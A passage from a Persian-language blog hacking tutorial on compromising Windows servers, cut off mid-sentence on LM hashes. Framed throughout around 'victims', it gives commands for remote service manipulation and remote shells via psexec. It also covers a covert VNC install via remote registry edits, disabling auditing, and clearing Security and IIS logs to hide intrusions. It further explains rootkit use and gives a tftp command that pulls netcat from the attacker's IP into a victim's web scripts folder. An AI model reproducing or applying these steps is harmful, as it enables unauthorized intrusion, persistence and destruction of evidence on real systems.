SNMP Service Snmp snmp.exe Agents that monitor the activity in network devices and report to the network console workstation. Automatic (if installed)
SNMP Trap Service Snmptrap snmptrap.exe Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer. Automatic (if installed)
System Event Notification SENS svchost.exe -k netsvcs Track system events such as Windows logon, network, and power events.
Notifiy COM+ Event System subscribers of these events.
Automatic
TCP/IP NetBIOS Helper lmHosts Services.exe Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins)
This is an alternative to the more standard DNS lookup.
 
Telnet TlntSvr tlntsvr.exe Allows a remote user to log on to the system and run console programs using the command line. Manual or Disabled.
Terminal Services TermService svchost.exe Required for Fast User Switching, Remote Desktop and Remote Assistance Disable
WebClient (XP) WebClient svchost.exe Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk. Disable
Windows Management Instrumentation WinMgmt %SystemRoot%\System32\WBEM\WinMgmt.exe Provides system management information. Automatic
Windows Time W32time services.exe Update the computer clock by reference to an internet time source or a time server. Automatic or disable
Workstation lanmanworkstation Services.exe Communications and network connections.
Services dependent on this being started: Alerter, Messenger, and Net Logon.
Automatic.
or Manual - for a stand-alone PC with no LAN or internet connection.
World Wide Web Publishing Service W3Svc %SystemRoot%\System32\inetsrv\inetinfo.exe Provides Web connectivity and administration through the Internet Information Services snap-in. Automatic (if IIS installed)

خوب معلومه که لازم نيست ليست رو حفظ کنيد! ولي اگه يه کمي روي اين جدول کار کنيد، خيلي مي‌تونه کمکتون کنه. مثلا اگه فردا گفتم که فلان Exploit واسه يک حفره امنيتي در Workstation Service هستش، بدونيد چي به چيه...
اينها که گفتم، تعدادي از سرويس‌هاي ويندوزه. اون‌هم سرويس‌هاي استاندارد ويندوز. اين به اون معني است که محصولات third-party مثلا فايروال‌هاي نرم‌افزاري، ابزارهاي remote control و ... هم مي‌تونند يک سرويس واسه خودشون راه بندازند و اين اصلا عجيب نيست!

مي‌رسيم به کار با سرويس‌ها و ابزارهاي لازمه:

۱- کار با سرويس‌ها وقتي که پشت کامپيوتر خودمون نشسته‌ايم ( يا با يک remote control گرافيکي به کامپيوتر هدف متصل شده‌ايم ) :
در اين مواقع مي‌تونيد در قسمت RUN بنويسيد:winmsd.exe يا services.msc
اگر winmsd.exe را آورده‌ايد ( نام اين برنامه System Information است)، در قسمت سمت راست پنجره مسير Software Invironment > Services را طي کنيد. حالا مي‌توانيد، اسم و وضعيت سرويس‌ها رو ببينيد. ولي نمي‌تونيد تغييري اعمال کنيد.
اگر services.msc را آورده‌ايد ( نام اين برنامه Services است)، علاوه بر نام و وضعيت سرويس‌ها که مي‌بينيد،‌ مي‌تونيد با راست کليک روي هر سرويس ( يا به کمک بار بالايي ) در سرويس‌ها تغييراتي اعمال کنيد. مثلا شروع يا متوقف کنيد، Status را تغيير دهيد و ...

۲- کار با سرويس‌ها به صورت خط فرماني:
در اين موارد از ابزارهاي خاصي مثل دستورات net ( يعني net start و net stop و net pause و net continue ) و نيز ابزارهاي NTRK ( يعني sc و sclist و netsvc و delsrv و isntsrv و srvany و svcmon و winmsdp ) استفاده کنيم. دستورات net که مي‌دونيد، هم به صورت loacl و هم remote قابل استفاده هستند. ولي در مورد ابزارهاي NTRK، بعضي فقط به صورت لوکال و بعضي فقط remote و بعضي هر دو کاربرد دارند. من کارهايي که با سرويس‌ها ميشه انجام داد رو ليست مي‌کنم، و در هر کدوم مي‌گم که اگع بخوايم به صورت لوکال يا ريموت کار کنيم، از چه ابزارهايي مي‌شه استفاده کرد:
( حتما به کاربرد دستور find که در تعدادي از دستورات پاييني استفاده کرده‌ام، دقت کنيد! )
( وقتي در يک موردي چندتا دستور مختلف رو مي‌گم، انتخاب هر کدوم به دلخواه شماست! )

+ ليست کردن سرويس‌هاي موجود:
- لوکال:
sclist
sc query
winmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )
- ريموت:
netsvc /list \\xxx.xxx.xxx.xxx

+ بررسي وضعيت يک سرويس از نظر Running بودن، Paused بودن، Stoped بودن و اطلاعات ديگر ... ( مثلا Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ) :
- لوکال:
sclist | find "Schedule"
sc query Schedule
sc query Schedule | find "STATE"
sc qc Schedule
- ريموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /query
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /query
sc \\xxx.xxx.xxx.xxx query Schedule
sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE"
sc \\xxx.xxx.xxx.xxx qc Schedule

+ Stopped کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال:
net stop Schedule
net stop "Task Scheduler"
sc stop Schedule
- ريموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /stop
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stop
sc \\xxx.xxx.xxx.xxx stop Schedule

+ از حالت Stopped در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال:
net start Schedule
net start "Task Scheduler"
sc start Schedule
- ريموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /start
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /start
sc \\xxx.xxx.xxx.xxx start Schedule

+ Paused کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال:
net pause Schedule
net pause "Task Scheduler"
sc pause Schedule
- ريموت:
netsvc Schedule \\xxx.xxx.xxx.xxx /pause
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pause
sc \\xxx.xxx.xxx.xxx pause Schedule

+ از حالت Paused در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال:
net continue Schedule
net continue "Task Scheduler"
sc continue Schedule
- ريموت:
netsvc TermsService \\xxx.xxx.xxx.xxx /continue
netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continue
sc \\xxx.xxx.xxx.xxx continue Schedule

+ Delete کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال:
sc delete Schedule
instsrv Schedule remove
delsrv Schedule
- ريموت:
sc \\xxx.xxx.xxx.xxx delete Schedule

+ Create يا Install کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
- لوکال:
sc  create Schedule  binPath=zzzz    ( zzzz  yani masire file ejrayi marbut be Schedule )
instsrv Schedule zzzzz
srvany ???? ( ba in dastur ham mishavad vali man syntax-esho nemidunam )
- ريموت:
sc  \\xxx.xxx.xxx.xxx create Schedule  binPath=zzzz

خوب به سلامتي اينا تموم شد، حالا فقط يه نکته مونده. فرض کنيد که من Display Name مربوط به Schedule سرويس رو مي‌دونم که هست: Task Scheduler در حاليکه Service Name يا Key Name اش رو نمي‌دونم و مي‌خوام پيدا کنم. کافي است دستور زير رو بنويسم:
sc GetKeyName "task scheduler"
و جواب چيزي است که من مي‌خوام. حالت برعکس هم داريم، مثلا Key Name رو مي‌دونم که Schedule است، مي‌خوام Display Name رو بگيرم. مي‌نويسم:
sc GetDisplayName schedule
راحت شديم از سرويس‌ها!



- Remote Controls

همان‌طور که مي‌دونيد، Remote Control ها بر دو نوعند:
۱- خط‌فرماني ( مثلا استفاده از nc يا at يا rcmd يا remote يا netcmd يا psexec )
۲- گرافيکي ( مثلا Terminal Services ويندوز يا VNC يا تروجان‌هايي مثل BO2K يا NetBus )

حالا بررسي هر يک:

+ استفاده از nc :
استفاده از nc به عنوان يک Remote Control قبلا و به طور مفصل در اينجا بحث شده است.

+ استفاده از at :
کار با at رو اينجا توضيح دادم. اگه يادتون باشه ما از at به عنوان يک Remote Control استفاده نمي‌کرديم، بلکه موقعي ازش استفاده مي‌کرديم که مي‌خواستيم يه دستور خاص ( مثلا ايجاد يک پورت جديد به کمک nc رو ) مثلا چند دقيقه ديگر اجرا کنيم. به عبارت ديگه at کاتاليزور است!

+ استفاده از rcmd :
rcmd يا به عبارتي Remote Command Service يکي از ابزارهاي موجود در مجموعه NTRK است. دو تا فايل دارد که بدرد ما مي‌خوره. اولي rcmdsvc.exe است که درواقع فايلي است که به عنوان سرور بايد به کامپيوتر قرباني کپي شده و اجرا شود و يک سرويس براي ما تشکيل دهد. دومي rcmd.exe است که قسمت کلاينت محسوب ميشه و اونو تو کامپيوتر خودمون اجرا مي‌کنيم که به سرويسي که rcmdsrv ايحاد کرده متصل شود. ( nc رو دوست دارم، اينا رو دوست ندارم! )

+ استفاده از remote :
remote هم از ابزارهاي موجود در NTRK است. فقط يک فايل است که هم مي‌تونه نقش سرور و هم نقش کلاينت رو بازي کنه. براي اينکه نقش سرور رو ايفا کنه، فايل رو به کامپيوتر قرباني فرستاده و اونجا مي‌نويسم:
remote /s cmd zzzzzz
zzzzzz يعني هر چيزي که شما دوست داري! وقتي اين دستور اجرا شد، تو کامپيوتر خودم مي‌نويسم:
remote /c xxx.xxx.xxx.xxx zzzzzz
که xxx.xxx.xxx.xxx به عنوان ip قرباني است و zzzzz همون چيزي است که تو سرور استفاده کرده بودم. ( nc رو دوست دارم، اينا رو دوست ندارم! )

+ استفاده از netcmd :
خوب فرض کنيد که من پسورد Admin رو دارم و يک session با IPC$ ايجاد کرده‌ام. حالا مي‌تونم با دستور netcmd يه shell ازش بگيرم. قبلا و در اينجا بحث شده است.

+ استفاده از psexec :
ميشه گفت يه جورايي کار netcmd رو انجام ميده ولي ديگه نيازي به ايجاد session نداره. psexec رو مي‌تونيد از سايت SysInternals پيدا کنيد. لزومي به کپي کردن هيچ فايلي در کامپيوتر قرباني نيست. اگر اکانتي به اسم Ali با پسورد thepassword در حد اکانت Admin باشد، مي‌نويسيد:
psexec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exe
و يک شل خط‌فرماني بگيريد.

+ استفاده از Terminal Services :
رسيديم به Remote Control هاي گرافيکي و اولين موردي که از اين گروه بحث مي‌کنيم، همين ترمينال سرويس است. ترمينال سرويس مربوط به خود ويندوز است ( جزو سرويس‌هاي استاندارد اون ) ولي به صورت پيش‌فرض غيرفعال است. اگه فعال باشه، روي پورت 3389 فال‌گوش مي‌مونه. اگه فعال نباشه، ميشه اونو نصب کرد ولي دنگ‌وفنگ زياد داره. اگه فعال باشه، براي اتصال به اين Terminal Service کلاينت‌هاي مختلفي براي اون هست. از فايل‌هاي اجرايي مثل اين و اين گرفته تا Active-X هايي که رو IE اجرا مي‌شوند. username و password اش هم همان اکانت‌هاي ويندوز است.

+ استفاده از VNC يا به عبارتي Virtual Network Computing يا به عبارتي WinVNC :
من خيلي خوشم مياد ازش! دوستش دارم! نصب کردنش روي کامپيوتر قرباني يه کم سخته ( چون اصولا اين يک تروجان نيست، يه محصول باشخصيت‌ه! ). اول بايد از اينجا اونو داون‌لود کنيد. بعد فايل‌هاي winvnc.exe و vnchooks.dll و omnithread_rt.dll رو به کامپيوتر قرباني و در يک فولدر خاص مي‌فرستيم. بعد مي‌يايم و يک فايل به اسم مثلا winvnc.ini ايجاد مي‌کنيم که کارش اينه که يک سري تغييرات در رجيستري ايجاد کند و يک پسورد واسه VNC ست کند. VNC از الگوريتم 3DES واسه hash کردن رمز استفاده مي‌کنه و رمز را در HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 دخيره مي‌کند. مي‌تونيد يک پسورد رو ست کنيد و بعد ببينيد که چه شکلي ذخيره ميشه. اگه پسورد انتخابي کلمه secret باشه، معادل hash شده اون در VNC عبارت: 0x57bf2d2e 0x9e6cb06e خواهد بود. پس من اگه پسورد انتخابي‌ام کلمه secret باشه، حالا بايد يک فايل درست کنم مثلا به اسم winvnc.ini که توش اينها باشه:
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = 0x00000008 0x57bf2d2e 0x9e6cb06e
و بعد به کمک regini ( که قبلا گفتم يک ابزار از NTRK است ) به صورت ريموت ( يعني از کامپيوتر خودمان ) دستور زير رو اجرا مي‌کنيم:
regini -m \\xxx.xxx.xxx.xxx winvnc.ini
حالا که ما تونستيم تغييرات رو در رجيستري اعمال کنيم، بايد سرويس رو آغاز کنيم. مي‌نويسيم:
winvnc -install
net start winvnc
و کار تمام است. حالا در کامپيوتر خودمون برنامه vncviewer رو اجرا کرده و حالشو مي‌بريم!

+ استفاده از NetBus و BO2K :
خوب اين‌ها تروجان هستند. هر تروجاني معمولا يک فايل براي ايجاد فايل سرور دارد. وقتي فايل سرور ايجاد شد، اونو به کامپيوتر قرباني کپي کرده و اجرا مي‌کنيم. و بعد توسط کلاينت مربوطه به سرور متصل مي‌شويم. ( کار با اين‌ها بسيار ساده‌است )


- پاک کردن رد پا

الف- ويندوز رويدادها را در کجا ذخيره و گزارش ( log ) مي‌کند؟
در ويندوز سه فايل داريم که در اون‌ها لاگ‌ها ذخيره مي‌شوند: AppEvent.Evt و SecEvent.Evt و SysEvent.Evt که از بين اين‌ها اوني که بدرد ما مي‌خوره، فقط SecEvent.Evt است که محل ذخيره تلاش‌ها ناموفق براي وارد شدن به سيستم ( مثلا با کمک يک کرکر ) و ... است. مسيري که اين سه فايل قرار دارند، اينجاست:
%SystemRoot%\System32\Config
در خود ويندوز به کمک EventViewer ( کافي است در Run بنويسيد: eventvwr.msc ) ميشه اين فايل‌ها رو بررسي کرد. ضمنا تغيير دادن اين فايل‌هاي لاگ، نياز به دسترسي به سيستم در سطح Admin دارند. اين ابزار بدرد ما نمي‌خوره، ما مي‌خوايم ردپاهاي خودمون رو پاک کنيم و نيز دسترسي به صورت فيزيکي ( يا توسط يک ريموت کنترل گرافيکي ) به سيستم قرباني نداريم:
+ غير فعال کردن گزارش گيري:
اولين کار اينه که Auditing رو غير فعال کنيم. اين کار توسط يک ابزار از NTRK به نام auditpol قابل انجام است. مي‌نويسيم:
auditpol /disable
با اين دستور ديگه هيچ گزارشي اضافه نخواهد شد. ( ولي گزارش‌هاي بعدي باقي خواهند ماند ) اگه بخوايم دوباره فعال کنيم،‌مي‌نويسيم:
auditpol /enable
مشخص است که اين ابزار بايد به صورت لوکال استفاده بشه. يعني چون ما مي‌خواهيم اين کارها رو در سرور قرباني انجام بديم، اين ابزار رو همونجا فرستاده و اجرا مي‌کنيم.
+ پاک کردن SecurityLog :
گفتم که بين همه لاگ‌ها اين مهم‌تره، حالا مي‌خوام اين فايل رو پاک کنم. براي اين کار ابزاري هست به نام elsave که به صورت ريموت اين کار رو مي‌کنه. مثلا اگه بنويسم:
elsave -s \\xxx.xxx.xxx.xxx -l "Security" -C
به صورت ريموت سکيورتي‌لاگ رو پاک مي‌کنه ( قبلش بايد يک session مي‌داشتم تا اين دستور کار کنه) دقت کنيد که به صورت لوکال و با دستور del نمي‌شه اين فايل‌هاي لاگ رو پاک کرد!
+ ابزارهاي ديگه از NTRK در اين زمينه:
ابزارهاي ديگه‌اي هم هستند مثل dumpel که در گزارش گيري از لاگ‌ها و ... کاربرد دارند.

ب- IIS گزارش‌ها رو در کجا ذخيره مي‌کند؟
IIS رفيق فابريک منه! وقتي شما يک سايت رو مي‌ريد و مي‌بينيد ( يا توسط يک باگ در IIS به سيستم وارد مي‌شويد‌ ) فعاليت‌هاي شما در فايلي ذخيره و Log مي‌شود. اول اين نکته رو مي‌دونيد که يک سرور مي‌تونه توش سايت‌هاي مختلف و Virtual Diectory هاي مختلفي باشه. هر کدام از اين سايت‌ها لاگ IIS مخصوص به خود خواهند داشت. مسيري که لاگ‌هاي IIS قرار مي‌گيرند، اينه:
%SystemRoot%\System32\LogFiles
در اين فولدر، زيرشاخه‌ها ( فولدرهاي جديدي ) هست. به اين ترتيب که واسه هر سايتي يه فولدر هست. اسم اين فولدرها به صورت W3SVC1 و W3SVC2 و ... است. داخل اين فولدرها فايل‌هاي لاگ جاي دارند. حالت پيش‌فرض اينه که گزارش‌هاي هر روز سايت داخل يک فايل ذخيره ميشه. اسم فايل جور خاصي است که تاريخ ( سال - ماه - روز ) رو نشون بده. مثلا اگه فولدر وربوط به يک سايتي W3SVC1 و تاريخ مورد نظر ما سال ۲۰۰۳ و ماه ۹ و روز ۱۲ باشه، اسم فايل لاگ اين خواهد بود:
%SystemRoot%\System32\LogFiles\W3SVC1\ex030912.log
برخلاف فايل‌هاي لاگ ويندوز که با دستور del قابل پاک‌کردن نبود، فايل‌هاي لاگ IIS خيلي شيک با del پاک مي‌شه ( چون ويندوز اين فايل‌ها رو Lock نمي‌کنه). بنابراين ما بايد تمام لاگ‌هاي مربوط به روز خاصي که جايي رو هک کرده‌ايم رو پاک کنيم!


- RootKit چيست؟

دليل اصلي استفاده از rootkit ها اين است که هکر بتونه براي مدت بيشتري در کامپيوتر قرباني دوام بياره. فرض کنيد که يک تروجان به کامپيوتر قرباني فرستاده‌ايد يا از کامپيوتر قرباني براي يک DDoS گسترده مي‌خواين استفاده کنيد. مسلم است که اگه طرف مقابل آدم مجربي باشه، با کمي بررسي سيستم‌عامل خود پي خواهد برد که يک SpyWare در کامپيوترش هست. ولي وقتي Rootkit استفاده بشه، سيستم‌عامل جوري تغيير مي‌کنه که اين تغييرات نشون داده نشه. به عنوان مثال يکي از راه‌هايي که مسوول سرور مي‌فهمه که کامپيوترش هک شده و يک سرور ( تروجان ) ناخواسته داره، بررسي پورت‌هاي باز کامپيوتر توسط دستور netstat است. حالا اگه ما اين دستور رو جوري تغيير دهيم ( يعني اگه يک نسخه جديد از اين برنامه با توجه به نيازهامان ايجاد کرده و در کامپيوتر قرباني نصب کنيم ) در واقع اين روش رو غير فعال کرده‌ايم. rootkit ها مي تونند خود سيستم‌عامل رو هدف قرار بدهند. مسلم است که نوشتن يک rootkit براي سيستم‌عامل‌هاي open-source مثل linux بسيار راحت‌تر از ايجاد rootkit براي ويندوز است. اما بايد توجه کنيد که rootkit رو ميشه به دو دسته تقسيم کرد:
۱- آن دسته از Rootkit هايي که قسمت‌هايي از سيستم‌عامل ( تعدادي از فايل‌هاي اجرايي اونو ) تغيير مي‌دهند. مثلا بعضي Registry Key ها رو مخفي کنند يا مخفي کردن پروسس‌ها يا محفي کردن فايل‌هاي تروجان و ... همچين rootkit هايي براي ويندوز طراحي شده اند.
۲- آن دسته از Rootkit هايي که در سطح هسته ( کرنل ) سيستم‌عامل عمل مي‌کنند. براي اين‌گونه از rootkit ها براي مثلا لينوکس مثال‌هايي هست ولي براي ويندوز ( خصوصا ويندوز سرورها که بحث ماست ) من مثالي که واقعا کار کنه و detect هم نشوند، سراغ ندارم.
چند سايت در اين زمينه:
http://www.rootkit.com و http://www.ntndis.com/downloads.shtml (نسخه آلفا از NT Rootkit )
http://www.pestpatrol.com/Support/Downloads.asp ( به نام AFX Windows Rootkit 2003 )
و ...


- Keystroke Loggers و Sniffers

بحث keylogger ها و sniffer ها يه درس مفصل رو طلب مي‌کنه. فقط يه اشاره بکنم:
sniffer ها کارشون اينه که پکت‌هايي را که در شبکه ردو بدل مي‌شوند، براي هکر ذخيره مي‌کنند ( خود LC4 که توضيح دادمش، يک ابزار packet capture يا sniffer توش داره که challenge/response هاي LM و NTLM رو لاگ مي‌کنه. بعدا توضيح خواهم داد )
keylogger ها هم کارشون اينه که کليدهايي که فشرده مي‌شوند ( مثلا از طريق keyboard ) رو ذخيره مي‌کنند. مثلا وقتي کسي که کامپيوترش هک شده، و هکر يه keylogger روي کامپيوتر طرف نصب کرده است، وقتي قرباني معصوم مياد و پسورد يه جايي رو وارد مي‌کنه، اين رشته ذخيره مي‌شه و هکر هم اطلاعات رو مي‌گيره و کيف مي‌کنه :)


- انواع exploit ها

انواع exploit ها يه تقسيم‌بندي کلي در مورد هک کردن هر نوع سيستم‌عاملي است. چه ويندوز و چه غير‌ويندوز:
۱- remote exploits: مجموعه‌اي از exploit ها که ما از يک کامپيوتر ديگه ( مثلا کامپيوتر خودمون ) توسط اونا به يک کامپيوتر در شبکه نفوذ مي‌کنيم. اين exploit ها معمولا در موارد اوليه هک استفاده مي‌شوند. در صورت استفاده از اين exploit ها در ويندوز ممکن است دسترسي در سطح Admin رو به ما ندهند ولي وارد شدن به سيستم حتي به صورت يک اکانت محدود هم لازم است تا توسط exploitهاي local دسترسي رو بالاتر ببريم. وقتي به کمک يک vulnerability scanner يک کامپيوتر رو از نظر حفره‌هاي امنيتي تست مي‌کنيم، معمولا نهايتا به همين نوع exploit ها مي‌رسيم.
۲- local exploits: اين exploit ها موقعي کاربرد دارند که يک console ( يا همون shell خودمون ) در سيستم داشته باشيم. به عبارت ديگه قبلا به طريقي به يک سيستم وارد شده‌ايم ( توسط remote exploit يا داشتن اکانت‌هاي محدود ) و حالا مي‌خواهيم که دسترسي خودمون رو گسترش بديم. مثلا ما الان به صورت guest وارد شده‌ايم ولي مي‌خواهيم به دسترسي Admin برسيم. بنابراين مهم‌ترين انواع اين exploit ها در ويندوز عبارتند از get admin ها يعني اونايي که ما رو از يک اکانت محدود به اکانت Administrator مي‌رسونند.

توضيحي که بايد بدم اينه که اين دو نوع exploit مکمل همديگرند. ( البته خيلي از exploit ها هستند که هم به صورت local و هم به صورت remote قابل استفاده هستند ). به عنوان يک هکر، اول کشف مي‌کنيم که مثلا اين سيستم‌عامل يک ويندوز ۲۰۰۰ سرور است. حالا به طريقي يه exploit از نوع remote بدست مي‌اوريم ( اگه قبلا يک اکانت در اون سرور بدست آورده‌ايم، ممکن است لزومي به اين مرحله نباشد ). حالا اگه به shell رسيديم و بخواهيم به فولدري دسترسي داشته باشيم که با اين shell نو رسيده! با توجه به مجوزهايش قابل دسترس نباشد، بايد از local exploit ها استفاده کنيم. ( اگه به فولدر مورد نظر دسترسي داشتيم که ديگه لازم نيست). خلاصه اينکه ممکن است در مواردي نياز به remote exploit يا local exploit يا هردو نباشد ولي بتونيم هک کنيم. به عبارت بهتر شرايط تعيين مي‌کنه که به چه نوع exploit هايي نياز داريم.
ادامه درس‌هاي هک ويندوز سرور در واقع چيزي جز بررسي اين دو نوع exploit نيست.


 
comment نظرات ()
 
 
قسمت پانزدهم(ضروريات ويندوز سرور براي هکرها - قسمت چهارم )
نویسنده : Hossein - ساعت ۱:٥٤ ‎ق.ظ روز جمعه ٢٤ شهریور ،۱۳۸٥
 
- يادآوري

اين مقاله ادامه مقاله قبلي‌ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه‌اي که هست نداريم.


- فولدرهايي از ويندوز با مجوز اجرا

فرض کنيد که الان از طريق روشي توانستيد مجوز ايجاد يا کپي کردن فايلي رو در تعدادي از فولدرهاي ويندوز قرباني بدست بياوريد. در اين گونه موارد هدف اينه که فولدري رو پيدا کنيم که براي ما با مجوزي که الان داريم (مثلا guest )، اجازه اجرا ( execute ) رو بده. دليلش مشخصه، مثلا اگه الان با guest وارد شديد، ممکن است بخواهيد که به سطح Admin برسيد. اين کار ممکنه با دستورات خود ويندوز ممکن نباشه و شما مجبور شويد که يه فايل اجرايي رو به کامپيوتر قرباني کپي کنيد تا با اجراي اون شما از guest به Admin برسيد. حالا اگه اين فايل خلافکار! رو به فولدري کپي کنيد که مجوز اجرا رو براي اکانت شما نداشته باشه، عملا نمي‌تونيد از اون فايل استفاده کنيد. افتاد؟
درس قبلي يک سري ابزار از NTRK معرفي کردم که اسمشون ابزارهاي بررسي مجوزهاي NTFS بود ( از جمله perms و showacls ). از اين‌ها هم در اين مرحله نمي‌تونيد استفاده کنيد. اگه گفتيد چرا؟ درسته! چون اين‌ها هم به هر حال يک سري ابزار و نرم‌افزار خارجي هستند ( يعني به طور پيش‌فرض در خود ويندوز وجود ندارند ) و از طرف ديگه ابزارهاي لوکال هستند ( يعني براي استفاده بايد به کامپيوتر قرباني کپي شوند ) و واضحه که بايد به فولدري کپي بشوند که مجوز اجرا داشته باشه و چون من نمي‌دونم کدوم فولدر مجوز اجرا داره، نمي‌تونم از اين‌ها استفاده کنم! ( اين ابزارها هم کاربردهايي دارند که گاه خيلي مهمه، عجله نکنيد! )
خوب حالا من چکار مي‌تونم بکنم؟
روش اول کوشش و خطاست. اين بدترين راه و گاه موثرترين راه حل‌ است! يعني مثلا يه فايل کوچک رو تو فولدرهاي مختلف کپي کنم و ببينم که کدومشو مي‌تونم اجرا کنم ( يعني کدوم فولدر به اون فايل اجازه اجرا مي‌ده ). اين روش نيازي به توضيح نداره چون ايراني‌ها خداي اين کاران :)
روش بهتر اينه که من با دانشي که دارم بدونم که معمولا چه فولدرهايي مجوز اجرا رو به من مي‌دهند. که الان مي‌خوام اينو بگم:

۱- اگه با يک باگ مربوط به IIS به شل دست يافته‌ايد، معمولا يکي از اينها رو انتخاب کنيد: 
?:\inetpub\scripts
?:\program files\common files\system\msadc
منظور از (؟) در موارد بالا اينه که ممکنه که فولدر مربوطه در هر درايوي باشه ( مثلا درايو C يا D و...) و ممکنه لازم باشه يه کم بگرديد که پيداش کنيد. نکته بعدي اينه که فولدرهايي که گفتم اين اجازه رو مي‌دن که هم فايل اجرايي ( با پسوند exe ) و هم اسکريپت‌ها ( مثل asp و ... ) در اونا بذاريم و اجرا کنيم. دقت کنيد که خيلي کارها رو ميشه بدون کمک فايل اجرايي ( فايل خرابکار ) انجام داد. مثلا اگه قرار باشه صفحه اول سايتي عوض بشه، اين کار رو گاه ميشه با اسکريپت‌ها هم انجام داد. بنابراين اين پايين ليست فوادرهايي رو براتون مي‌گم که فقط اجازه اجراي اسکريپت رو مي‌دهند ( نه اجراي فايل اجرايي! ) :
?:\winnt\help\iishelp
?:\inetpub\iissamples
%SystemRoot%\System32\inetsrv\iisadmin
%SystemRoot%\System32\inetsrv\iisadmpwd
%SystemRoot%\web\printers
توضيح لازم اينه که وقتي مي‌گم %SystemRoot% منظور همون فولدري است که ويندوز در اون نصب شده، بنابراين مي‌تونه مثلا C:\WINNT باشه يا H:\WINDOWS باشه و يا هر چيز ديگه. ما از همون عبارت %SystemRoot% که استفاده کنيم خودش ما رو مي‌بره همونجا !
حالا چرا باگ‌هاي IIS رو جدا کردم؟ دليلش اينه که بعضي از اين باگ‌ها وقتي ازشون سوءاستفاده بشه، به ما اختياراتي در حد IUSR_xxxxx-yyyyy ميده ( که قبل گفتم اين چيه ) و اختيارات در حد Admin نيست. بنابراين از اين فولدرهاي خاص استفاده کرديم.

۲- اگه با باگ‌هاي غير از IIS به شل دست پيدا کرديد، انتخاب فولدر درست معمولا بستگي به اين داره که چه سرويس ( و پورتي ) رو exploit کرده‌ايم و به چه اکانتي دست پيدا کرده‌ايم. اگه دسترسي ما کامل باشه ( يعني در حد Admin باشه ) بهترين فولدر براي قرار دادن و اجراي فايل‌هاي اجرايي اين فولدرهاست:
%SystemRoot%
%SystemRoot%\system32
اگه با اکانتي که بدست آورده‌ايد به اين فولدرها دسترسي نداريد ( مثلا از طريق NetBIOS با يک اکانت محدود وارد شده‌ايد ) بهتره همون روش ايراني! ( کوشش و خطا ) رو پيش بگيريد.

آخرين نکته‌اي که بايد اينجا بگم، اينه که وقتي مي‌خواين از طريق tftp فايل اجرايي رو بفرستيد روي اون فولدر خاص، بايد آدرس فولدر رو هم آخر دستور مربوط به tftp بنويسيد. مثلا اگر IP ما در اين لحظه 217.66.198.116 باشه، و بخوام فايل nc.exe رو بفرستم به فولدر c:\inetpub\scripts بايد بنويسم:
tftp -i 217.66.198.116 GET nc.exe c:\interpub\scripts\nc.exe
يعني وقتي سرور قرباني فايل رو مي‌گيره، اونو تو اين فولدر که مشخص کردم قرار بده ( و نه فولدر فعلي ).


- بدست آوردن username و password ها در حالت دسترسي local

تاکيد مي‌کنم که بحث ما در اينجا پسوردهاي Active Directory نيست بلکه پسوردهاي لوکال خود کامپيوتر است. فرض کنيد که من الان يه فولدر پيدا کرده‌ام که به من اجازه اجراي فايل‌هايي که داخلش فرستادم رو مي‌ده. ( يعني همون‌ چيزي که بالا بهش اشاره کردم ). من ممکنه بخوام پسورد‌هاي اين ويندوز سرور رو پيدا کنم تا اگه احيانا فردا پس‌فردا اون باگي که انگولکش کردم، توسط مسوول سرور برطرف شد، دستم به يه جايي بند باشه!! يا اينکه بخوام حتما پسورد اکانت خاصي مثل Administrator رو بدست بيارم که خيلي مهمه. براي کشف پسوردها اول بايد بدونيد که پسورد فلان اکانت، چطوري و کجا در ويندوز نگهداري ميشه و چه مراحلي طي ميشه تا يه پسورد از شکل اوليه يعني plain-text ( يعني خود پسوردي که واسه اکانت انتخاب شده ) تبديل بشه به يه پسورد hash شده ( يعني رمز بشه ) و بعد در ويندوز ذخيره بشود:

۱- پسورد بايد رمز شود و پسورد به صورت hash شده در آيد. ويندوز از دو روش براي hash استفاده مي‌کند:
الف) LanMananager Hash يا LANMAN Hash يا LMhash :
